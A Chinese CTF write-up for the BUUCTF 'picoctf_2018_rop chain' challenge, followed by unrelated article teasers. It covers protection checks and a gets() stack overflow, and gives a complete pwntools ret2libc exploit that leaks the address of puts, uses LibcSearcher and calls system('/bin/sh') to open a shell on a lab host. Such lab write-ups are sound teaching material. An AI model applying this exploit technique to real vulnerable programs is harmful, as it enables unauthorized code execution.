news 2026/6/10 12:47:14

buuctf中的picoctf_2018_rop chain

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的picoctf_2018_rop chain

首先checksec检查保护机制:

-32位程序

-开启了栈不可执行机制

然后使用反汇编工具IDA进行分析:

看到了vuln函数和左边的win1,win2函数及flag函数,第一眼看到就觉得能够从这些函数中获取flag,但实际行不行呢,先一个一个点进去看一下

vuln函数内部:

gets函数可触发栈溢出漏洞,顺便算出偏移为:0x18 + 0x8

win1函数内部;

使变量win1的值为1

win2函数内部:

一些if-else的条件选择语句

最后是flag函数内部:

可以发现要想从这里拿到flag,必须要让win1,win2和a1的值都等于-559039827,但是前面的那几个函数都无法实现,所以这几个函数一点作用也没有,纯糊弄人呢

由于在程序的反汇编代码中没有任何后门函数和system函数地址,题目也没给libc库文件,这里考虑泄露出某个函数的真实的地址再借助LibcSearcher这个插件找到libc库,再计算出libc基址,进而计算出system函数及/bin/sh的地址

先在IDA中拿到vuln函数的地址,方便后面二次使用栈溢出漏洞:0x8048714

然后就可以开始编写exp攻击脚本了:

第一次栈溢出先构造ROP链执行puts函数打印出puts函数的真实地址,拿到后通过LibcSearcher找到libc库,然后计算出libc基址后再计算出system函数和/bin/sh地址,第二次栈溢出执行system函数后就能拿到shell

from pwn import * from LibcSearcher import LibcSearcher context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',29484) # 与在线环境交互。 offset = 0x18 + 0x4 vuln_addr = 0x8048714 elf = ELF("./pwn") puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] io.recvuntil(b'Enter your input> ') payload = b'a'*offset + p32(puts_plt) + p32(vuln_addr) + p32(puts_got) io.sendline(payload) puts_addr = u32(io.recv(4)) print(hex(puts_addr)) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system") bin_sh_addr = libc_base + libc.dump("str_bin_sh") io.recvuntil(b'Enter your input> ') payload = b'a'*offset + p32(system_addr) + p32(1) + p32(bin_sh_addr) io.sendline(payload) io.interactive()

这是运行结果:

这里要手动选择libc库,32位程序就选择32位的libc库就行,可能会选到不适配得到libc库,多试几个就行了

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 11:34:01

DeepMD-kit: 深度学习的分子动力学(MD)模拟工具包

文章目录一、核心思想二、核心组件三、基本使用流程1. 准备训练数据2. 编写训练输入文件 input.json3. 训练模型4. 在 LAMMPS 中使用四、高级功能五、安装方式推荐:Conda(支持 CPU/GPU)源码编译(需 TensorFlow/PyTorch CUDA&…

作者头像 李华
网站建设 2026/6/10 11:40:15

Google DeepMind介绍

文章目录 🧠 核心研究方向🔍 代表性成果与工具🛠 如何使用 DeepMind 的技术?1. **使用 Gemma(开源大模型)**2. **运行 AlphaFold**3. **强化学习研究(Acme DM Control)** &#x1f…

作者头像 李华
网站建设 2026/6/9 23:48:01

玉树仪表气源管 抗压达标专用

在当前工业管道系统日益精细化、专业化的发展背景下,价格透明化已成为行业健康发展的关键指标。据最新行业调研数据显示,在仪表气源管及相关配套产品领域,已有超过62%的规范企业主动实施价格公示制度,其中约45%的企业实现了从原材…

作者头像 李华
网站建设 2026/5/30 10:40:46

测试数据管理平台设计:解决“巧妇难为无米之炊”的痛点

测试数据的困境——“巧妇”的“无米”之叹 在软件质量保障的战场上,测试工程师们如同技艺精湛的“巧妇”,肩负着发现缺陷、保障产品质量的重任。然而,纵有千般技艺,若遭遇“无米之炊”的窘境——即难以获取合适、充足、安全的测…

作者头像 李华
网站建设 2026/5/26 19:54:00

成都医疗机构最认可哪家数智技术医药批发商?

四川合纵药易购医药股份有限公司作为国内首家医药产业互联网上市公司,数智化服务体系获各级医疗机构广泛认可。目前公司已与全国1万余家诊所、1万余家基层医疗机构建立深度合作,依托诊所HIS系统、智能对码、数据追溯平台等专业技术工具,为合作…

作者头像 李华
网站建设 2026/6/10 11:39:08

华三交换机定时关闭端口和定时重启

1、组网需求对 交换机 进行配置,在星期一到星期五的下午十八点关闭端口,上午八点开启GigabitEthernet1/0/1和GigabitEthernet1/0/2端口,以便起到有效节能的作用。2、配置思路首先查看时间,display clock,用户视图下修改…

作者头像 李华